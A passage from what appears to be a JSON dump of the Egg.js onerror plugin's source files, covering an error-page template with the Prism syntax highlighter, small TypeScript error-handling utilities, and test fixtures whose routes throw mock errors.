/((?:\\b(?:class|interface|extends|implements|trait|instanceof|new)\\s+)|(?:catch\\s+\\())[a-z0-9_\\.\\\\]+/i,\n            lookbehind: !0,\n            inside: { punctuation: /(\\.|\\\\)/ },\n          },\n          keyword:\n            /\\b(if|else|while|do|for|return|in|instanceof|function|new|try|throw|catch|finally|null|break|continue)\\b/,\n          boolean: /\\b(true|false)\\b/,\n          function: /[a-z0-9_]+(?=\\()/i,\n          number: /\\b-?(?:0x[\\da-f]+|\\d*\\.?\\d+(?:e[+-]?\\d+)?)\\b/i,\n          operator: /--?|\\+\\+?|!=?=?|<=?|>=?|==?=?|&&?|\\|\\|?|\\?|\\*|\\/|~|\\^|%/,\n          punctuation: /[{}[\\];(),.:]/,\n        };\n        ((Prism.languages.javascript = Prism.languages.extend('clike', {\n          keyword:\n            /\\b(as|async|await|break|case|catch|class|const|continue|debugger|default|delete|do|else|enum|export|extends|finally|for|from|function|get|if|implements|import|in|instanceof|interface|let|new|null|of|package|private|protected|public|return|set|static|super|switch|this|throw|try|typeof|var|void|while|with|yield)\\b/,\n          number: /\\b-?(0x[\\dA-Fa-f]+|0b[01]+|0o[0-7]+|\\d*\\.?\\d+([Ee][+-]?\\d+)?|NaN|Infinity)\\b/,\n          function: /[_$a-zA-Z\\xA0-\\uFFFF][_$a-zA-Z0-9\\xA0-\\uFFFF]*(?=\\()/i,\n          operator: /--?|\\+\\+?|!=?=?|<=?|>=?|==?=?|&&?|\\|\\|?|\\?|\\*\\*?|\\/|~|\\^|%|\\.{3}/,\n        })),\n          Prism.languages.insertBefore('javascript', 'keyword', {\n            regex: {\n              pattern: /(^|[^\\/])\\/(?!\\/)(\\[.+?]|\\\\.|[^\\/\\\\\\r\\n])+\\/[gimyu]{0,5}(?=\\s*($|[\\r\\n,.;})]))/,\n              lookbehind: !0,\n              greedy: !0,\n            },\n          }),\n          Prism.languages.insertBefore('javascript', 'string', {\n            'template-string': {\n              pattern: /`(?:\\\\\\\\|\\\\?[^\\\\])*?`/,\n              greedy: !0,\n              inside: {\n                interpolation: {\n                  pattern: /\\$\\{[^}]+\\}/,\n                  inside: {\n                    'interpolation-punctuation': { pattern: /^\\$\\{|\\}$/, alias: 'punctuation' },\n                    rest: Prism.languages.javascript,\n                  },\n                },\n                string: /[\\s\\S]+/,\n              },\n            },\n          }),\n          Prism.languages.markup &&\n            Prism.languages.insertBefore('markup', 'tag', {\n              script: {\n                pattern: /(<script[\\w\\W]*?>)[\\w\\W]*?(?=<\\/script>)/i,\n                lookbehind: !0,\n                inside: Prism.languages.javascript,\n                alias: 'language-javascript',\n              },\n            }),\n          (Prism.languages.js = Prism.languages.javascript));\n        ((Prism.languages.json = {\n          property: /\"(?:\\\\.|[^\\\\\"])*\"(?=\\s*:)/gi,\n          string: /\"(?!:)(?:\\\\.|[^\\\\\"])*\"(?!:)/g,\n          number: /\\b-?(0x[\\dA-Fa-f]+|\\d*\\.?\\d+([Ee][+-]?\\d+)?)\\b/g,\n          punctuation: /[{}[\\]);,]/g,\n          operator: /:/g,\n          boolean: /\\b(true|false)\\b/gi,\n          null: /\\bnull\\b/gi,\n        }),\n          (Prism.languages.jsonp = Prism.languages.json));\n        ((Prism.languages.typescript = Prism.languages.extend('javascript', {\n          keyword:\n            /\\b(as|async|await|break|case|catch|class|const|continue|debugger|default|delete|do|else|enum|export|extends|finally|for|from|function|get|if|implements|import|in|instanceof|interface|let|new|null|of|package|private|protected|public|return|set|static|super|switch|this|throw|try|typeof|var|void|while|with|yield|false|true|module|declare|constructor|string|Function|any|number|boolean|Array|enum|symbol|namespace|abstract|require|type)\\b/,\n        })),\n          (Prism.languages.ts = Prism.languages.typescript));\n        !(function () {\n          function e(e, t) {\n            return Array.prototype.slice.call((t || document).querySelectorAll(e));\n          }\n          function t(e, t) {\n            return ((t = ' ' + t + ' '), (' ' + e.className + ' ').replace(/[\\n\\t]/g, ' ').indexOf(t) > -1);\n          }\n          function n(e, n, i) {\n            for (\n              var o,\n                a = n.replace(/\\s+/g, '').split(','),\n                l = +e.getAttribute('data-line-offset') || 0,\n                d = r() ? parseInt : parseFloat,\n                c = d(getComputedStyle(e).lineHeight),\n                s = 0;\n              (o = a[s++]);\n\n            ) {\n              o = o.split('-');\n              var u = +o[0],\n                m = +o[1] || u,\n                h = document.createElement('div');\n              ((h.textContent = Array(m - u + 2).join(' \\n')),\n                h.setAttribute('aria-hidden', 'true'),\n                (h.className = (i || '') + ' line-highlight'),\n                t(e, 'line-numbers') || (h.setAttribute('data-start', u), m > u && h.setAttribute('data-end', m)),\n                (h.style.top = (u - l - 1) * c + 'px'),\n                t(e, 'line-numbers') ? e.appendChild(h) : (e.querySelector('code') || e).appendChild(h));\n            }\n          }\n          function i() {\n            var t = location.hash.slice(1);\n            e('.temporary.line-highlight').forEach(function (e) {\n              e.parentNode.removeChild(e);\n            });\n            var i = (t.match(/\\.([\\d,-]+)$/) || [, ''])[1];\n            if (i && !document.getElementById(t)) {\n              var r = t.slice(0, t.lastIndexOf('.')),\n                o = document.getElementById(r);\n              o &&\n                (o.hasAttribute('data-line') || o.setAttribute('data-line', ''),\n                n(o, i, 'temporary '),\n                document.querySelector('.temporary.line-highlight').scrollIntoView());\n            }\n          }\n          if ('undefined' != typeof self && self.Prism && self.document && document.querySelector) {\n            var r = (function () {\n                var e;\n                return function () {\n                  if ('undefined' == typeof e) {\n                    var t = document.createElement('div');\n                    ((t.style.fontSize = '13px'),\n                      (t.style.lineHeight = '1.5'),\n                      (t.style.padding = 0),\n                      (t.style.border = 0),\n                      (t.innerHTML = '&nbsp;<br />&nbsp;'),\n                      document.body.appendChild(t),\n                      (e = 38 === t.offsetHeight),\n                      document.body.removeChild(t));\n                  }\n                  return e;\n                };\n              })(),\n              o = 0;\n            (Prism.hooks.add('complete', function (t) {\n              var r = t.element.parentNode,\n                a = r && r.getAttribute('data-line');\n              r &&\n                a &&\n                /pre/i.test(r.nodeName) &&\n                (clearTimeout(o),\n                e('.line-highlight', r).forEach(function (e) {\n                  e.parentNode.removeChild(e);\n                }),\n                n(r, a),\n                (o = setTimeout(i, 1)));\n            }),\n              window.addEventListener && window.addEventListener('hashchange', i));\n          }\n        })();\n        !(function () {\n          'undefined' != typeof self &&\n            self.Prism &&\n            self.document &&\n            Prism.hooks.add('complete', function (e) {\n              if (e.code) {\n                var t = e.element.parentNode,\n                  s = /\\s*\\bline-numbers\\b\\s*/;\n                if (\n                  t &&\n                  /pre/i.test(t.nodeName) &&\n                  (s.test(t.className) || s.test(e.element.className)) &&\n                  !e.element.querySelector('.line-numbers-rows')\n                ) {\n                  (s.test(e.element.className) && (e.element.className = e.element.className.replace(s, '')),\n                    s.test(t.className) || (t.className += ' line-numbers'));\n                  var n,\n                    a = e.code.match(/\\n(?!$)/g),\n                    l = a ? a.length + 1 : 1,\n                    r = new Array(l + 1);\n                  ((r = r.join('<span></span>')),\n                    (n = document.createElement('span')),\n                    n.setAttribute('aria-hidden', 'true'),\n                    (n.className = 'line-numbers-rows'),\n                    (n.innerHTML = r),\n                    t.hasAttribute('data-start') &&\n                      (t.style.counterReset = 'linenumber ' + (parseInt(t.getAttribute('data-start'), 10) - 1)),\n                    e.element.appendChild(n));\n                }\n              }\n            });\n        })();\n      </script>\n      <script>\n        (function () {\n          const $ = function (value) {\n            return document.querySelector(value);\n          };\n          const $$ = function (value) {\n            return document.querySelectorAll(value);\n          };\n          var nativeFramesLength = $$('.frame-row.native-frame').length;\n          var allFramesLength = $$('.frame-row').length;\n          function filterFrames() {\n            $('.frame-preview').classList.remove('is-hidden');\n            var isSelected = $('#frames-filter').checked;\n            if (isSelected) {\n              $$('.frame-row.native-frame').forEach(function (node) {\n                node.classList.add('force-show');\n              });\n            } else {\n              $$('.frame-row.native-frame').forEach(function (node) {\n                node.classList.remove('force-show');\n              });\n              var activeFrame = $('.frame-row.active');\n              if (activeFrame.classList.contains('native-frame')) {\n                activeFrame.classList.remove('active');\n                var firstFrame = $$('.frame-row')[0];\n                firstFrame.classList.add('active');\n                showFrameContext(firstFrame);\n              }\n            }\n          }\n          function displayFirstView() {\n            if (nativeFramesLength !== allFramesLength) {\n              $('.frame-preview').classList.remove('is-hidden');\n            }\n          }\n          function showFrameContext(frame) {\n            $frameContext = frame.querySelector('.frame-context');\n            var $context = $frameContext.innerHTML;\n            $context = $context.trim().length === 0 ? 'Missing stack frames' : $context;\n            var $line = $frameContext.getAttribute('data-line');\n            var $start = $frameContext.getAttribute('data-start');\n            var $file = $frameContext.getAttribute('data-file');\n            var $method = $frameContext.getAttribute('data-method');\n            var $lineColumn = $frameContext.getAttribute('data-line-column');\n            var $language = $frameContext.getAttribute('data-extname') || 'js';\n            $('#code-drop').parentNode.setAttribute('data-line', $line);\n            $('#code-drop').parentNode.setAttribute('data-start', $start);\n            $('#code-drop').parentNode.setAttribute('data-language', $language);\n            $('#code-drop').parentNode.setAttribute('data-line-offset', Number($start) - 1);\n            $('#code-drop').setAttribute('class', 'language-' + $language);\n            $('#code-drop').innerHTML = $context;\n            $('#frame-file').innerHTML = $file;\n            $('#frame-method').innerHTML = $method + '' + $lineColumn;\n\n            Prism.highlightAll();\n          }\n          $$('.frame-row').forEach(function (node) {\n            node.onclick = function (e) {\n              $$('.frame-row').forEach(function (_node) {\n                _node.classList.remove('active');\n              });\n              e.currentTarget.classList.add('active');\n              showFrameContext(e.currentTarget);\n            };\n          });\n          $('#frames-filter').onclick = function () {\n            filterFrames();\n          };\n          displayFirstView();\n          showFrameContext($('.frame-row.active'));\n        })();\n      </script>\n    </section>\n  </body>\n</html>\n"
  },
  {
    "path": "plugins/onerror/src/lib/utils.ts",
    "content": "import type { Context, Application } from 'egg';\nimport type { OnerrorError } from 'koa-onerror';\n\nexport function detectErrorMessage(ctx: Context, err: OnerrorError): string {\n  // detect json parse error\n  if (\n    err.status === 400 &&\n    err.name === 'SyntaxError' &&\n    ctx.request.is('application/json', 'application/vnd.api+json', 'application/csp-report')\n  ) {\n    return 'Problems parsing JSON';\n  }\n  return err.message;\n}\n\nexport function detectStatus(err: OnerrorError): number {\n  // detect status\n  let status = err.status || 500;\n  if (status < 200) {\n    // invalid status consider as 500, like urllib will return -1 status\n    status = 500;\n  }\n  return status;\n}\n\nexport function accepts(ctx: Context): 'json' | 'js' | 'html' {\n  if (ctx.acceptJSON) return 'json';\n  if (ctx.acceptJSONP) return 'js';\n  return 'html';\n}\n\nexport function isProd(app: Application): boolean {\n  return app.config.env !== 'local' && app.config.env !== 'unittest';\n}\n"
  },
  {
    "path": "plugins/onerror/src/types.ts",
    "content": "import type { OnerrorConfig } from './config/config.default.ts';\n\ndeclare module 'egg' {\n  // add EggAppConfig overrides types\n  interface EggAppConfig {\n    onerror: OnerrorConfig;\n  }\n}\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/agent-error/agent.js",
    "content": "module.exports = (agent) => {\n  const done = agent.readyCallback();\n  setTimeout(() => {\n    done(new Error('emit error'));\n  }, 500);\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/agent-error/package.json",
    "content": "{\n  \"name\": \"agent-error\"\n}\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/custom-listener-onerror/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', async (ctx) => {\n    const err = new Error('mock error');\n    err.name = ctx.query.name || 'Error';\n    throw err;\n  });\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/custom-listener-onerror/config/config.default.js",
    "content": "exports.onerror = {\n  errorPageUrl: 'https://eggjs.com/500.html',\n  appErrorFilter(err, ctx) {\n    if (err.name === 'IgnoreError') return false;\n    if (err.name === 'CustomError') {\n      ctx.app.logger.error('error happened');\n      return false;\n    }\n    return true;\n  },\n};\n\nexports.keys = 'foo,bar';\n\nexports.logger = {\n  level: 'NONE',\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/custom-listener-onerror/package.json",
    "content": "{\n  \"name\": \"custom-listener-onerror\"\n}\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/mock-test-error/package.json",
    "content": "{\n  \"name\": \"mock-test-error\"\n}\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror/app/controller/home.js",
    "content": "exports.index = async (ctx) => {\n  const err = new Error('test error');\n  if (ctx.query.code) {\n    err.code = ctx.query.code;\n  }\n  if (ctx.query.status) {\n    err.status = Number(ctx.query.status);\n  }\n  if (ctx.query.message) {\n    err.message = ctx.query.message;\n  }\n  throw err;\n};\n\nexports.unknownFile = async () => {\n  const err = new Error('test error');\n  err.stack = err.stack.replace(/(controller\\/home\\.)js/, '$1ts');\n  throw err;\n};\n\nexports.csrf = async (ctx) => {\n  ctx.set('x-csrf', ctx.csrf);\n  ctx.body = 'test';\n};\n\nexports.test = async (ctx) => {\n  const err = new SyntaxError('syntax error');\n  if (ctx.query.status) {\n    err.status = Number(ctx.query.status);\n  }\n  throw err;\n};\n\nexports.jsonp = async () => {\n  throw new Error('jsonp error');\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror/app/controller/user.js",
    "content": "module.exports = async (ctx) => {\n  const err = new Error('test error');\n  if (ctx.query.status) {\n    err.status = Number(ctx.query.status);\n  }\n  if (ctx.query.errors) {\n    err.errors = ctx.query.errors;\n  }\n  throw err;\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', app.controller.home.index);\n  app.get('/unknownFile', app.controller.home.unknownFile);\n  app.get('/csrf', app.controller.home.csrf);\n  app.post('/test', app.controller.home.test);\n  app.get('/user', app.controller.user);\n  app.get('/user.json', app.controller.user);\n  app.get('/jsonp', app.jsonp(), app.controller.home.jsonp);\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror/config/config.default.js",
    "content": "exports.onerror = {\n  errorPageUrl: 'https://eggjs.com/500.html',\n};\n\nexports.logger = {\n  level: 'NONE',\n  consoleLevel: 'NONE',\n};\n\nexports.keys = 'foo,bar';\n\nexports.security = {\n  csrf: false,\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror/config/plugin.js",
    "content": "// disable tegg plugins\nexports.teggEventbus = false;\nexports.tegg = false;\nexports.teggConfig = false;\nexports.teggController = false;\nexports.teggDal = false;\nexports.teggSchedule = false;\nexports.teggOrm = false;\nexports.teggAjv = false;\nexports.teggAop = false;\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror/package.json",
    "content": "{\n  \"name\": \"onerror\"\n}\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-4xx/app/controller/home.js",
    "content": "exports.index = async (ctx) => {\n  const err = new Error('test error');\n  if (ctx.query.code) {\n    err.code = ctx.query.code;\n  }\n  if (ctx.query.status) {\n    err.status = Number(ctx.query.status);\n  }\n  if (ctx.query.message) {\n    err.message = ctx.query.message;\n  }\n  throw err;\n};\n\nexports.csrf = async (ctx) => {\n  ctx.set('x-csrf', ctx.csrf);\n  ctx.body = 'test';\n};\n\nexports.test = async (ctx) => {\n  const err = new SyntaxError('syntax error');\n  if (ctx.query.status) {\n    err.status = Number(ctx.query.status);\n  }\n  throw err;\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-4xx/app/controller/user.js",
    "content": "module.exports = async (ctx) => {\n  const err = new Error('test error');\n  if (ctx.query.status) {\n    err.status = Number(ctx.query.status);\n  }\n  if (ctx.query.errors) {\n    err.errors = ctx.query.errors;\n  }\n  throw err;\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-4xx/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', app.controller.home.index);\n  app.get('/csrf', app.controller.home.csrf);\n  app.post('/test', app.controller.home.test);\n  app.get('/user', app.controller.user);\n  app.get('/user.json', app.controller.user);\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-4xx/config/config.default.js",
    "content": "exports.onerror = {\n  errorPageUrl: 'https://eggjs.com/500.html',\n};\n\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n\nexports.keys = 'foo,bar';\n\nexports.security = {\n  csrf: false,\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-4xx/package.json",
    "content": "{\n  \"name\": \"onerror-4xx\"\n}\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-ctx-error/app/extend/context.js",
    "content": "module.exports = {\n  get userId() {\n    throw new Error('you can`t get userId.');\n  },\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-ctx-error/app/middleware/trigger.js",
    "content": "module.exports = () => {\n  return async function (ctx, next) {\n    await next();\n    ctx.logger.info('log something, then error happend.');\n    ctx.logger.info('%s', ctx.userId);\n  };\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-ctx-error/config/config.default.js",
    "content": "exports.middleware = ['trigger'];\n\nexports.keys = 'foo,bar';\n\nexports.logger = {\n  level: 'NONE',\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-ctx-error/package.json",
    "content": "{\n  \"name\": \"onerror-ctx-error\"\n}\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-custom-500/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/mockerror', async () => {\n    // eslint-disable-next-line\n    hi.foo();\n  });\n\n  app.get('/mock4xx', async () => {\n    const err = new Error('4xx error');\n    err.status = 400;\n    throw err;\n  });\n\n  app.get('/500', async (ctx) => {\n    ctx.status = 500;\n    ctx.body = 'hi, this custom 500 page';\n  });\n\n  app.get('/special', async (ctx) => {\n    ctx.errorPageUrl = '/specialerror';\n    // eslint-disable-next-line\n    hi.foo();\n  });\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-custom-500/config/config.default.js",
    "content": "exports.onerror = {\n  errorPageUrl: (_, ctx) => ctx.errorPageUrl || '/500',\n};\n\nexports.keys = 'foo,bar';\n\nexports.logger = {\n  level: 'NONE',\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-custom-500/package.json",
    "content": "{\n  \"name\": \"onerror-custom-500\"\n}\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-custom-template/app/controller/home.js",
    "content": "exports.index = async (ctx) => {\n  const err = new Error('test error');\n  if (ctx.query.code) {\n    err.code = ctx.query.code;\n  }\n  if (ctx.query.status) {\n    err.status = Number(ctx.query.status);\n  }\n  if (ctx.query.message) {\n    err.message = ctx.query.message;\n  }\n  throw err;\n};\n\nexports.csrf = async (ctx) => {\n  ctx.set('x-csrf', ctx.csrf);\n  ctx.body = 'test';\n};\n\nexports.test = async (ctx) => {\n  const err = new SyntaxError('syntax error');\n  if (ctx.query.status) {\n    err.status = Number(ctx.query.status);\n  }\n  throw err;\n};\n\nexports.jsonp = async () => {\n  throw new Error('jsonp error');\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-custom-template/app/controller/user.js",
    "content": "module.exports = async (ctx) => {\n  const err = new Error('test error');\n  if (ctx.query.status) {\n    err.status = Number(ctx.query.status);\n  }\n  if (ctx.query.errors) {\n    err.errors = ctx.query.errors;\n  }\n  throw err;\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-custom-template/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', app.controller.home.index);\n  app.get('/csrf', app.controller.home.csrf);\n  app.post('/test', app.controller.home.test);\n  app.get('/user', app.controller.user);\n  app.get('/user.json', app.controller.user);\n  app.get('/jsonp', app.jsonp(), app.controller.home.jsonp);\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-custom-template/config/config.default.js",
    "content": "const path = require('path');\n\nexports.onerror = {\n  templatePath: path.join(__dirname, '../template.mustache'),\n};\n\nexports.logger = {\n  level: 'NONE',\n  consoleLevel: 'NONE',\n};\n\nexports.keys = 'foo,bar';\n\nexports.security = {\n  csrf: false,\n};\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-custom-template/package.json",
    "content": "{\n  \"name\": \"onerror-customize-template\"\n}\n"
  },
  {
    "path": "plugins/onerror/test/fixtures/onerror-custom-template/template.mustache",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n  <meta charset=\"UTF-8\">\n  <title>custom template</title>\n</head>\n<body>\n  <section class=\"error-page\">\n    <section class=\"error-stack\">\n      <h3 class=\"error-status\">{{ status }}</h3>\n      <div class=\"error-title\">\n        <h1 class=\"box\">{{ name }} in {{ request.url }}</h1>\n        <div class=\"context\">{{ message }}</div>\n      </div>\n\n      <img class=\"error-logo\" src=\"https://zos.alipayobjects.com/rmsportal/JFKAMfmPehWfhBPdCjrw.svg\"/>\n\n      <div class=\"error-frames\">\n        <div class=\"frame-preview is-hidden\">\n          <div id=\"frame-file\"></div>\n          <div id=\"frame-code\"><pre class=\"line-numbers\"><code id=\"code-drop\"></code></pre></div>\n          <div id=\"frame-method\"></div>\n        </div>\n\n        <div class=\"frame-stack\">\n          <div class=\"frames-filter-selector\">\n            <input type=\"checkbox\" class=\"magic-checkbox\" name=\"frames-filter\" id=\"frames-filter\">\n            <label for=\"frames-filter\">Show all frames</label>\n          </div>\n\n          <div class=\"frames-list\">\n            {{#frames}}\n              {{index}}\n              <div class=\"frame-row {{classes}}\">\n                <div class=\"frame-row-filepath\">\n                  {{ file }}:{{ line }}:{{ column }}\n                </div>\n                <div class=\"frame-row-code\">\n                  {{ method }}\n                </div>\n                <div class=\"frame-context\"\n                  data-start=\"{{context.start}}\"\n                  data-line=\"{{line}}\"\n                  data-file=\"{{file}}\"\n                  data-method=\"{{method}}\"\n                  data-extname=\"{{extname}}\"\n                  data-line-column=\"{{line}}:{{column}}\"\n                >{{ context.pre }}\n{{ context.line }}\n{{ context.post }}\n                </div>\n              </div>\n            {{/frames}}\n          </div>\n        </div>\n      </div>\n    </section>\n\n    <section class=\"request-details\">\n      <h2 class=\"request-title\"> Request Details </h2>\n      <div class=\"table\">\n        <div class=\"tr\">\n          <div class=\"td title\"> URI </div>\n          <div class=\"td content\">{{ request.url }}</div>\n        </div>\n\n        <div class=\"tr\">\n          <div class=\"td title\"> Request Method </div>\n          <div class=\"td content\">{{ request.method }}</div>\n        </div>\n\n        <div class=\"tr\">\n          <div class=\"td title\"> HTTP Version </div>\n          <div class=\"td content\">{{ request.httpVersion }}</div>\n        </div>\n\n        <div class=\"tr\">\n          <div class=\"td title\"> Connection </div>\n          <div class=\"td content\">{{ request.connection }}</div>\n        </div>\n      </div>\n\n      <h2 class=\"request-title\"> Headers </h2>\n      <div class=\"table\">\n        {{#request.headers}}\n          <div class=\"tr\">\n            <div class=\"td title\">{{ key }}</div>\n            <div class=\"td content\">{{ value }}</div>\n          </div>\n        {{/request.headers}}\n      </div>\n\n      <h2 class=\"request-title\"> Cookies </h2>\n      <div class=\"table\">\n        {{#request.cookies}}\n          <div class=\"tr\">\n            <div class=\"td title\">{{ key }}</div>\n            <div class=\"td content\">{{ value }}</div>\n          </div>\n        {{/request.cookies}}\n      </div>\n      <h2 class=\"request-title\"> AppInfo </h2>\n      <div class=\"table\">\n        <div class=\"tr\">\n          <div class=\"td title\"> baseDir </div>\n          <div class=\"td content\">{{ appInfo.baseDir }}</div>\n        </div>\n        <div class=\"tr\">\n          <div class=\"td title\"> config </div>\n          <div class=\"td content code\">\n            <pre class=\"line-numbers\"><code class=\"language-json\">{{ appInfo.config }}</code></pre>\n          </div>\n        </div>\n      </div>\n    </section>\n\n    <script type=\"text/javascript\">\nvar _self=\"undefined\"!=typeof window?window:\"undefined\"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?self:{},Prism=function(){var e=/\\blang(?:uage)?-(\\w+)\\b/i,t=0,n=_self.Prism={util:{encode:function(e){return e instanceof a?new a(e.type,n.util.encode(e.content),e.alias):\"Array\"===n.util.type(e)?e.map(n.util.encode):e.replace(/&/g,\"&amp;\").replace(/</g,\"&lt;\").replace(/\\u00a0/g,\" \")},type:function(e){return Object.prototype.toString.call(e).match(/\\[object (\\w+)\\]/)[1]},objId:function(e){return e.__id||Object.defineProperty(e,\"__id\",{value:++t}),e.__id},clone:function(e){var t=n.util.type(e);switch(t){case\"Object\":var a={};for(var r in e)e.hasOwnProperty(r)&&(a[r]=n.util.clone(e[r]));return a;case\"Array\":return e.map&&e.map(function(e){return n.util.clone(e)})}return e}},languages:{extend:function(e,t){var a=n.util.clone(n.languages[e]);for(var r in t)a[r]=t[r];return a},insertBefore:function(e,t,a,r){r=r||n.languages;var i=r[e];if(2==arguments.length){a=arguments[1];for(var l in a)a.hasOwnProperty(l)&&(i[l]=a[l]);return i}var o={};for(var s in i)if(i.hasOwnProperty(s)){if(s==t)for(var l in a)a.hasOwnProperty(l)&&(o[l]=a[l]);o[s]=i[s]}return n.languages.DFS(n.languages,function(t,n){n===r[e]&&t!=e&&(this[t]=o)}),r[e]=o},DFS:function(e,t,a,r){r=r||{};for(var i in e)e.hasOwnProperty(i)&&(t.call(e,i,e[i],a||i),\"Object\"!==n.util.type(e[i])||r[n.util.objId(e[i])]?\"Array\"!==n.util.type(e[i])||r[n.util.objId(e[i])]||(r[n.util.objId(e[i])]=!0,n.languages.DFS(e[i],t,i,r)):(r[n.util.objId(e[i])]=!0,n.languages.DFS(e[i],t,null,r)))}},plugins:{},highlightAll:function(e,t){var a={callback:t,selector:'code[class*=\"language-\"], [class*=\"language-\"] code, code[class*=\"lang-\"], [class*=\"lang-\"] code'};n.hooks.run(\"before-highlightall\",a);for(var r,i=a.elements||document.querySelectorAll(a.selector),l=0;r=i[l++];)n.highlightElement(r,e===!0,a.callback)},highlightElement:function(t,a,r){for(var i,l,o=t;o&&!e.test(o.className);)o=o.parentNode;o&&(i=(o.className.match(e)||[,\"\"])[1].toLowerCase(),l=n.languages[i]),t.className=t.className.replace(e,\"\").replace(/\\s+/g,\" \")+\" language-\"+i,o=t.parentNode,/pre/i.test(o.nodeName)&&(o.className=o.className.replace(e,\"\").replace(/\\s+/g,\" \")+\" language-\"+i);var s=t.textContent,u={element:t,language:i,grammar:l,code:s};if(n.hooks.run(\"before-sanity-check\",u),!u.code||!u.grammar)return u.code&&(u.element.textContent=u.code),n.hooks.run(\"complete\",u),void 0;if(n.hooks.run(\"before-highlight\",u),a&&_self.Worker){var g=new Worker(n.filename);g.onmessage=function(e){u.highlightedCode=e.data,n.hooks.run(\"before-insert\",u),u.element.innerHTML=u.highlightedCode,r&&r.call(u.element),n.hooks.run(\"after-highlight\",u),n.hooks.run(\"complete\",u)},g.postMessage(JSON.stringify({language:u.language,code:u.code,immediateClose:!0}))}else u.highlightedCode=n.highlight(u.code,u.grammar,u.language),n.hooks.run(\"before-insert\",u),u.element.innerHTML=u.highlightedCode,r&&r.call(t),n.hooks.run(\"after-highlight\",u),n.hooks.run(\"complete\",u)},highlight:function(e,t,r){var i=n.tokenize(e,t);return a.stringify(n.util.encode(i),r)},tokenize:function(e,t){var a=n.Token,r=[e],i=t.rest;if(i){for(var l in i)t[l]=i[l];delete t.rest}e:for(var l in t)if(t.hasOwnProperty(l)&&t[l]){var o=t[l];o=\"Array\"===n.util.type(o)?o:[o];for(var s=0;s<o.length;++s){var u=o[s],g=u.inside,c=!!u.lookbehind,h=!!u.greedy,f=0,d=u.alias;if(h&&!u.pattern.global){var p=u.pattern.toString().match(/[imuy]*$/)[0];u.pattern=RegExp(u.pattern.source,p+\"g\")}u=u.pattern||u;for(var m=0,y=0;m<r.length;y+=r[m].length,++m){var v=r[m];if(r.length>e.length)break e;if(!(v instanceof a)){u.lastIndex=0;var b=u.exec(v),k=1;if(!b&&h&&m!=r.length-1){if(u.lastIndex=y,b=u.exec(e),!b)break;for(var w=b.index+(c?b[1].length:0),_=b.index+b[0].length,A=m,P=y,j=r.length;j>A&&_>P;++A)P+=r[A].length,w>=P&&(++m,y=P);if(r[m]instanceof a||r[A-1].greedy)continue;k=A-m,v=e.slice(y,P),b.index-=y}if(b){c&&(f=b[1].length);var w=b.index+f,b=b[0].slice(f),_=w+b.length,x=v.slice(0,w),O=v.slice(_),S=[m,k];x&&S.push(x);var N=new a(l,g?n.tokenize(b,g):b,d,b,h);S.push(N),O&&S.push(O),Array.prototype.splice.apply(r,S)}}}}}return r},hooks:{all:{},add:function(e,t){var a=n.hooks.all;a[e]=a[e]||[],a[e].push(t)},run:function(e,t){var a=n.hooks.all[e];if(a&&a.length)for(var r,i=0;r=a[i++];)r(t)}}},a=n.Token=function(e,t,n,a,r){this.type=e,this.content=t,this.alias=n,this.length=0|(a||\"\").length,this.greedy=!!r};if(a.stringify=function(e,t,r){if(\"string\"==typeof e)return e;if(\"Array\"===n.util.type(e))return e.map(function(n){return a.stringify(n,t,e)}).join(\"\");var i={type:e.type,content:a.stringify(e.content,t,r),tag:\"span\",classes:[\"token\",e.type],attributes:{},language:t,parent:r};if(\"comment\"==i.type&&(i.attributes.spellcheck=\"true\"),e.alias){var l=\"Array\"===n.util.type(e.alias)?e.alias:[e.alias];Array.prototype.push.apply(i.classes,l)}n.hooks.run(\"wrap\",i);var o=Object.keys(i.attributes).map(function(e){return e+'=\"'+(i.attributes[e]||\"\").replace(/\"/g,\"&quot;\")+'\"'}).join(\" \");return\"<\"+i.tag+' class=\"'+i.classes.join(\" \")+'\"'+(o?\" \"+o:\"\")+\">\"+i.content+\"</\"+i.tag+\">\"},!_self.document)return _self.addEventListener?(_self.addEventListener(\"message\",function(e){var t=JSON.parse(e.data),a=t.language,r=t.code,i=t.immediateClose;_self.postMessage(n.highlight(r,n.languages[a],a)),i&&_self.close()},!1),_self.Prism):_self.Prism;var r=document.currentScript||[].slice.call(document.getElementsByTagName(\"script\")).pop();return 